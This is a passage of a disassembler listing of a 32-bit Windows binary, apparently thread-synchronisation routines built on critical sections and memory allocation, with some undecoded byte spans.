sub_42FF50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4300C0:				; CODE XREF: ___:00401343j
		mov	ecx, [esp+8]
		mov	eax, 1
		cmp	ecx, 3		; switch 4 cases
		ja	short locret_4300F7 ; default
		jmp	off_4300FC[ecx*4] ; switch jump


loc_4300D5:				; DATA XREF: ___:off_4300FCo
		call	sub_401708	; jumptable 004300CE case 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4300DD:				; CODE XREF: ___:004300CEj
					; DATA XREF: ___:off_4300FCo
		call	sub_4017B2	; jumptable 004300CE case 2
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4300E5:				; CODE XREF: ___:004300CEj
					; DATA XREF: ___:off_4300FCo
		call	sub_4017C1	; jumptable 004300CE case 3
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4300ED:				; CODE XREF: ___:004300CEj
					; DATA XREF: ___:off_4300FCo
		call	sub_4017C1	; jumptable 004300CE case 0
		call	sub_40161D

locret_4300F7:				; CODE XREF: ___:004300CCj
		retn	0Ch		; default
; ---------------------------------------------------------------------------
		align 4
off_4300FC	dd offset loc_4300ED	; DATA XREF: ___:004300CEr
		dd offset loc_4300D5	; jump table for switch	statement
		dd offset loc_4300DD
		dd offset loc_4300E5
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430130:				; CODE XREF: ___:004017B7j
		mov	eax, dword_50E3E8
		push	esi
		push	edi
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		db 8Bh,	7Ch, 24h
		dd 83F08B10h, 0F68504C4h, 90570A75h, 80A1B6E8h,	4C48377h
		dd 7E89016Ah, 1C76E814h, 0C483FFFDh, 0C35E5F04h, 3 dup(90909090h)
		dd 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_430180	proc near		; CODE XREF: sub_401758j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	offset dword_50E900
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_4301AB
		mov	eax, [eax+4]
		test	eax, eax
		jz	short loc_4301AB
		push	eax
		call	near ptr 27405D5h
		nop
		cmp	eax, 7FFFFFFFh
		jnz	short loc_4301B0


loc_4301AB:				; CODE XREF: sub_430180+14j
					; sub_430180+1Bj
		mov	esi, 3


loc_4301B0:				; CODE XREF: sub_430180+29j
		push	offset dword_50E900
		call	near ptr 7C9010EDh
		nop
		test	esi, esi
		jnz	short loc_4301CC
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		mov	eax, 16h
		jnz	short loc_4301CE


loc_4301CC:				; CODE XREF: sub_430180+3Dj
		mov	eax, esi


loc_4301CE:				; CODE XREF: sub_430180+4Aj
		pop	esi
		retn
sub_430180	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4301F0:				; CODE XREF: ___:0040164Aj
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	short loc_430241
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_430241
		mov	eax, [esi]
		xor	ebx, ebx
		test	eax, eax
		jnz	short loc_430221
		lea	eax, [esi+4]
		push	eax
		nop
		call	near ptr 2740531h
		test	eax, eax
		jnz	short loc_430227
		call	edi	; _errno
		mov	dword ptr [esi], 1


loc_430221:				; CODE XREF: ___:00430209j
					; ___:0043022Aj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430227:				; CODE XREF: ___:00430217j
		cmp	dword ptr [esi], 0
		jnz	short loc_430221
		mov	edi, dword_50F8D0


loc_430232:				; CODE XREF: ___:00430239j
		push	0
		call	edi
		cmp	dword ptr [esi], 0
		jz	short loc_430232
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430241:				; CODE XREF: ___:004301F9j
					; ___:00430201j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430270	proc near		; CODE XREF: sub_4012E4j
		mov	eax, dword_50E3E8
		push	esi
		push	edi
		push	eax
		call	sub_401190
sub_430270	endp

; ---------------------------------------------------------------------------
		db 8Bh,	0F0h, 83h
		dd 0F68504C4h, 88E87675h, 8BFFFD18h, 74F685F0h,	7C7E8B5Bh
		dd 1B8h, 53F80B00h, 897C7E89h, 0E8902046h, 2300A3Eh, 0F8701D8Bh
		dd 26A0050h, 6A047E8Dh,	57006A00h, 0D3FF0689h, 76AE850h
		dd 50900233h, 0E850D3FFh, 230FD34h, 5BC08590h, 0E8560E75h
		dd 0FFFD18E5h, 3304C483h, 0C35E5FC0h, 0E8510F8Bh, 23102EDh
		dd 28468990h, 0E3E8158Bh, 52560050h, 0FD1DE2E8h, 8C483FFh
		dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_430340	proc near		; CODE XREF: sub_401A50j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jnz	short loc_43035E
		test	eax, eax
		jz	short loc_430358
		mov	eax, [eax]
		mov	edx, [ecx]
		cmp	eax, edx
		jnz	short loc_43035E


loc_430358:				; CODE XREF: sub_430340+Ej
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_43035E:				; CODE XREF: sub_430340+Aj
					; sub_430340+16j
		xor	eax, eax
		retn
sub_430340	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430380:				; CODE XREF: ___:00401FF0j
		mov	eax, [esp+4]
		test	eax, eax
		jge	short loc_43038E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_43038E:				; CODE XREF: ___:00430386j
		mov	dword_50E3F8, eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4303B0:				; CODE XREF: ___:0040155Aj
		mov	eax, dword_50E3F8
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4303D0	proc near		; CODE XREF: sub_401B13j
		push	esi
		call	sub_401307
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4303F2
		push	84h
		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_430439


loc_4303F2:				; CODE XREF: sub_4303D0+Aj
		push	0
		push	0
		or	eax, 0FFFFFFFFh
		push	1
		push	0
		mov	dword ptr [esi+28h], 0
		mov	dword ptr [esi+20h], 0
		mov	dword ptr [esi+30h], 0
		mov	dword ptr [esi+34h], 1
		mov	[esi+2Ch], eax
		mov	[esi+24h], eax
		call	near ptr 273098Fh
		nop
		test	eax, eax
		mov	[esi+38h], eax
		jnz	short loc_430439
		push	esi
		call	sub_401BBD
		add	esp, 4
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430439:				; CODE XREF: sub_4303D0+20j
					; sub_4303D0+5Aj
		mov	eax, esi
		pop	esi
		retn
sub_4303D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430460	proc near		; CODE XREF: sub_401307j
		push	esi
		push	offset dword_50E900
		call	near ptr 7C901005h
		nop
		mov	esi, dword_44574C
		cmp	esi, 1
		jz	short loc_430495
		mov	eax, [esi+8]
		push	offset dword_50E900
		mov	dword_44574C, eax
		mov	dword ptr [esi+8], 0
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430495:				; CODE XREF: sub_430460+15j
		push	offset dword_50E900
		xor	esi, esi
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_430460	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4304D0	proc near		; CODE XREF: sub_401BBDj

arg_0		= dword	ptr  4

		push	edi
		push	offset dword_50E900
		call	near ptr 7C901005h
		nop
		mov	edx, [esp+4+arg_0]
		mov	ecx, 21h
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, dword_44574C
		push	offset dword_50E900
		mov	[edx+8], eax
		mov	dword_44574C, edx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		retn
sub_4304D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430520	proc near		; CODE XREF: sub_401640j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0FFFFFFFFh
		push	eax
		call	sub_430540
sub_430520	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430540	proc near		; CODE XREF: sub_430520+7p
					; sub_430660+Ap

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

		sub	esp, 8
		mov	eax, [esp+8+arg_0]
		push	esi
		push	edi
		mov	edi, 1
		mov	[esp+10h+var_8], eax
		call	sub_4012E4
sub_430540	endp

; ---------------------------------------------------------------------------
		mov	esi, eax
		test	esi, esi
		jz	short loc_430576
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	short loc_43057E
		mov	eax, [esi+38h]
		test	eax, eax
		mov	[esp+0Ch], eax
		jz	short loc_43057E
		mov	edi, 2
		jmp	short loc_43057E
; ---------------------------------------------------------------------------


loc_430576:				; CODE XREF: ___:0043055Bj
		mov	dword ptr [esp+0Ch], 0


loc_43057E:				; CODE XREF: ___:00430562j
					; ___:0043056Dj ...
		mov	ecx, [esp+18h]
		lea	edx, [esp+8]
		push	ecx
		push	0
		push	edx
		push	edi
		call	near ptr 2730825h
		nop
		mov	ecx, eax
		sub	ecx, 0
		jz	short loc_430609
		dec	ecx
		jz	short loc_4305B4
		sub	eax, 102h
		pop	edi
		neg	eax
		sbb	eax, eax
		pop	esi
		and	eax, 0FFFFD8CAh
		add	eax, 274Ch
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_4305B4:				; CODE XREF: ___:00430599j
		mov	eax, [esp+0Ch]
		push	eax
		nop
		call	near ptr 275059Fh
		test	esi, esi
		jz	short loc_4305FE
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_402225
		mov	ecx, [esi+0Ch]
		mov	eax, 3
		add	esp, 4
		cmp	ecx, eax
		jge	short loc_4305F5
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DD4
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4305F5:				; CODE XREF: ___:004305D9j
		push	edi
		call	sub_4010C3
		add	esp, 4


loc_4305FE:				; CODE XREF: ___:004305C1j
		pop	edi
		mov	eax, 16h
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_430609:				; CODE XREF: ___:00430596j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430660	proc near		; CODE XREF: sub_401D70j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_430540
sub_430660	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430690	proc near		; CODE XREF: sub_401C03j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_50E960
		xor	esi, esi
		call	near ptr 7C901005h
		nop
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4306C4
		push	esi
		push	ecx
		call	sub_402199
		add	esp, 8
		mov	esi, eax
		push	offset dword_50E960
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4306C4:				; CODE XREF: sub_430690+17j
		test	eax, eax
		jnz	short loc_4306CD
		mov	esi, 16h


loc_4306CD:				; CODE XREF: sub_430690+36j
		push	offset dword_50E960
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
sub_430690	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430700	proc near		; CODE XREF: sub_402199j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebp
		xor	ebp, ebp
		push	edi
		test	eax, eax
		jnz	short loc_430714
		pop	edi
		mov	eax, 16h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430714:				; CODE XREF: sub_430700+Aj
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_43072F
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_43072F
		cmp	dword ptr [eax], 1
		jnz	short loc_43072F
		pop	edi
		mov	eax, 28h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_43072F:				; CODE XREF: sub_430700+1Aj
					; sub_430700+20j ...
		push	esi
		push	2Ch
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_430754
		mov	edx, [esp+0Ch+arg_0]
		mov	ebp, 0Ch
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430754:				; CODE XREF: sub_430700+41j
		test	edi, edi
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0
		jz	short loc_430770
		mov	edi, [edi]
		test	edi, edi
		jz	short loc_430770
		mov	edi, [edi+4]
		jmp	short loc_430772
; ---------------------------------------------------------------------------


loc_430770:				; CODE XREF: sub_430700+63j
					; sub_430700+69j
		xor	edi, edi


loc_430772:				; CODE XREF: sub_430700+6Ej
		push	0
		lea	eax, [esi+10h]
		push	0
		push	eax
		mov	[esi+8], edi
		mov	dword ptr [esi+0Ch], 0
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4307AD
		push	esi
		mov	ebp, 0Bh
		nop
		call	near ptr 77C2C21Bh
		mov	edx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4307AD:				; CODE XREF: sub_430700+8Ej
		lea	ecx, [esi+14h]
		push	ecx
		nop
		call	near ptr 27606B3h
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
sub_430700	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430810	proc near		; CODE XREF: sub_40222Fj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		test	edi, edi
		jz	loc_4308F0
		mov	eax, [edi]
		test	eax, eax
		jz	loc_4308F0
		cmp	eax, 0FFFFFFFFh
		jz	loc_4308B5
		mov	[esp+8+arg_0], eax
		lea	eax, [esp+8+arg_0]
		push	eax
		call	sub_40177B
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	loc_4308EB
		mov	ecx, [esp+8+arg_0]
		mov	eax, [ecx+4]
		cmp	eax, 1
		jnz	short loc_4308A7
		lea	ecx, [esp+8+arg_0]
		mov	[edi], esi
		push	ecx
		call	sub_4010C3
		mov	edx, [esp+0Ch+arg_0]
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	short loc_4308A0
		add	edx, 10h
		push	edx
		call	sub_401686
		mov	eax, [esp+0Ch+arg_0]
		add	esp, 4
		add	eax, 14h
		push	eax
		nop
		call	near ptr 2760000h
		mov	ecx, [esp+8+arg_0]
		push	ecx
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4308A0:				; CODE XREF: sub_430810+61j
		mov	[edi], edx
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4308A7:				; CODE XREF: sub_430810+48j
		dec	eax
		mov	esi, 10h
		mov	[ecx+4], eax
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4308B5:				; CODE XREF: sub_430810+1Dj
		push	offset dword_50E960
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_4308DB
		push	offset dword_50E960
		mov	dword ptr [edi], 0
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4308DB:				; CODE XREF: sub_430810+B3j
		push	offset dword_50E960
		mov	esi, 10h
		call	near ptr 7C9010EDh
		nop


loc_4308EB:				; CODE XREF: sub_430810+38j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4308F0:				; CODE XREF: sub_430810+Aj
					; sub_430810+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_430810	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430940	proc near		; CODE XREF: sub_401A0Fj

arg_0		= dword	ptr  4

		push	esi
		push	8
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		cmp	eax, esi
		jnz	short loc_430963
		mov	edx, [esp+4+arg_0]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_430963:				; CODE XREF: sub_430940+12j
		mov	ecx, [esp+4+arg_0]
		mov	[eax], esi
		mov	[eax+4], esi
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
sub_430940	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430990	proc near		; CODE XREF: sub_4010AAj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_4309B1
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_4309B1
		push	eax
		mov	[ecx], esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4309B1:				; CODE XREF: sub_430990+9j
					; sub_430990+Fj
		mov	eax, 16h
		pop	esi
		retn
sub_430990	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4309D0:				; CODE XREF: ___:00401BA9j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_4309ED
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4309ED
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_4309ED
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4309ED:				; CODE XREF: ___:004309D6j
					; ___:004309DCj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430A10:				; CODE XREF: ___:004018F7j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_430A3A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_430A3A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_430A2E
		test	eax, eax
		jnz	short loc_430A3A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_430A2E:				; CODE XREF: ___:00430A25j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_430A3A:				; CODE XREF: ___:00430A16j
					; ___:00430A1Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430A50	proc near		; CODE XREF: sub_40119Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_430A71
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_430A71
		mov	edx, [esp+arg_4]
		test	edx, edx
		jl	short loc_430A71
		cmp	edx, 2
		jg	short loc_430A71
		mov	[ecx+4], edx
		retn
; ---------------------------------------------------------------------------


loc_430A71:				; CODE XREF: sub_430A50+8j
					; sub_430A50+Ej ...
		mov	eax, 16h
		retn
sub_430A50	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430A90	proc near		; CODE XREF: sub_4018C0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_430AAE
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_430AAE
		mov	edx, [esp+arg_4]
		test	edx, edx
		jz	short loc_430AAE
		mov	ecx, [ecx+4]
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_430AAE:				; CODE XREF: sub_430A90+8j
					; sub_430A90+Ej ...
		mov	eax, 16h
		retn
sub_430A90	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430AD0	proc near		; CODE XREF: sub_402225j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	loc_430B87
		mov	eax, [esi]
		test	eax, eax
		jz	loc_430B87
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430B01
		push	esi
		call	sub_401C03
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_430B01
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430B01:				; CODE XREF: sub_430AD0+1Dj
					; sub_430AD0+2Cj
		mov	esi, [esi]
		push	esi
		call	near ptr 2740531h
		nop
		test	eax, eax
		jnz	short loc_430B2A


loc_430B0E:				; CODE XREF: sub_430AD0+A8j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_430B22
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_430B22:				; CODE XREF: sub_430AD0+4Bj
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430B2A:				; CODE XREF: sub_430AD0+3Cj
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_430B6A
		call	sub_4012E4
; ---------------------------------------------------------------------------
		dw 8B50h
		dd 0E8500C46h, 0FFFD0F10h, 8508C483h, 562374C0h, 0FBE1E890h
		dd 7E830231h, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h
		dd 24BFh, 5FC78B00h
; ---------------------------------------------------------------------------
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430B6A:				; CODE XREF: sub_430AD0+5Fj
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_430BC0
		add	esp, 4
		test	eax, eax
		jz	short loc_430B0E
		call	near ptr 77C1F2BCh
		nop
		mov	edi, [eax]
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430B87:				; CODE XREF: sub_430AD0+Aj
					; sub_430AD0+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_430AD0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430BC0	proc near		; CODE XREF: sub_430AD0+9Ep

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_430BDA
		mov	eax, [eax]
		push	0FFFFFFFFh
		mov	ecx, [eax]
		push	ecx
		nop
		call	near ptr 2750455h
		test	eax, eax
		jnz	short loc_430BDA
		retn
; ---------------------------------------------------------------------------


loc_430BDA:				; CODE XREF: sub_430BC0+6j
					; sub_430BC0+17j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_430BC0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430C00	proc near		; CODE XREF: sub_401BC2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebp
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebp, ebp
		test	esi, esi
		jz	loc_430D98
		mov	eax, [esi]
		test	eax, eax
		jz	loc_430D98
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430C31
		push	esi
		call	sub_401C03
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jz	short loc_430C31
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430C31:				; CODE XREF: sub_430C00+1Dj
					; sub_430C00+2Cj
		mov	esi, [esi]
		push	ebx
		push	edi
		push	esi
		call	near ptr 2740531h
		nop
		test	eax, eax
		jnz	short loc_430C62


loc_430C40:				; CODE XREF: sub_430C00+175j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	loc_430D8E
		call	sub_4012E4
; ---------------------------------------------------------------------------
		pop	edi
		mov	[esi+0Ch], eax
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430C62:				; CODE XREF: sub_430C00+3Ej
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_430CA6
		call	sub_4012E4
; ---------------------------------------------------------------------------
		dw 8B50h
		dd 0E8500C46h, 0FFFD0DD8h, 8508C483h, 562774C0h, 0FAA9E890h
		dd 7E830231h, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h
		dd 24BDC35Dh, 5F000000h, 5EC58B5Bh
; ---------------------------------------------------------------------------
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430CA6:				; CODE XREF: sub_430C00+67j
		mov	eax, [esp+10h+arg_4]
		test	eax, eax
		jnz	short loc_430CBA
		mov	ebp, 16h
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430CBA:				; CODE XREF: sub_430C00+ACj
		lea	edi, [esi+10h]
		push	eax
		push	edi
		call	sub_430E10
		add	esp, 8
		sub	eax, 0
		jz	loc_430D7A
		dec	eax
		jz	short loc_430D44
		dec	eax
		jz	short loc_430CE5
		nop
		call	near ptr 77C1F2BCh
		mov	ebp, [eax]
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430CE5:				; CODE XREF: sub_430C00+D4j
		lea	ebx, [esi+14h]
		push	ebx
		nop
		call	near ptr 7C901005h
		push	edi
		mov	ebp, 274Ch
		call	sub_4010A5
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_430D17
		nop
		call	near ptr 275072Fh
		push	ebx
		call	near ptr 7C9010EDh
		nop
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430D17:				; CODE XREF: sub_430C00+101j
		nop
		call	near ptr 275072Fh
		test	eax, eax
		jl	short loc_430D36
		push	edi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430D36
		call	near ptr 77C1F2BCh
		nop
		mov	ebp, [eax]


loc_430D36:				; CODE XREF: sub_430C00+11Fj
					; sub_430C00+12Cj
		push	ebx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430D44:				; CODE XREF: sub_430C00+D1j
		lea	ebx, [esi+14h]
		push	ebx
		nop
		call	near ptr 7C901005h
		push	edi
		call	sub_4010A5
		mov	edi, eax
		add	esp, 4
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_430D6A
		push	esi
		nop
		call	near ptr 275072Fh
		mov	ebp, 274Ch


loc_430D6A:				; CODE XREF: sub_430C00+15Cj
		push	ebx
		nop
		call	near ptr 7C9010EDh
		test	edi, edi
		jnz	short loc_430D91
		jmp	loc_430C40
; ---------------------------------------------------------------------------


loc_430D7A:				; CODE XREF: sub_430C00+CAj
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_430D8E
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_430D8E:				; CODE XREF: sub_430C00+4Dj
					; sub_430C00+187j
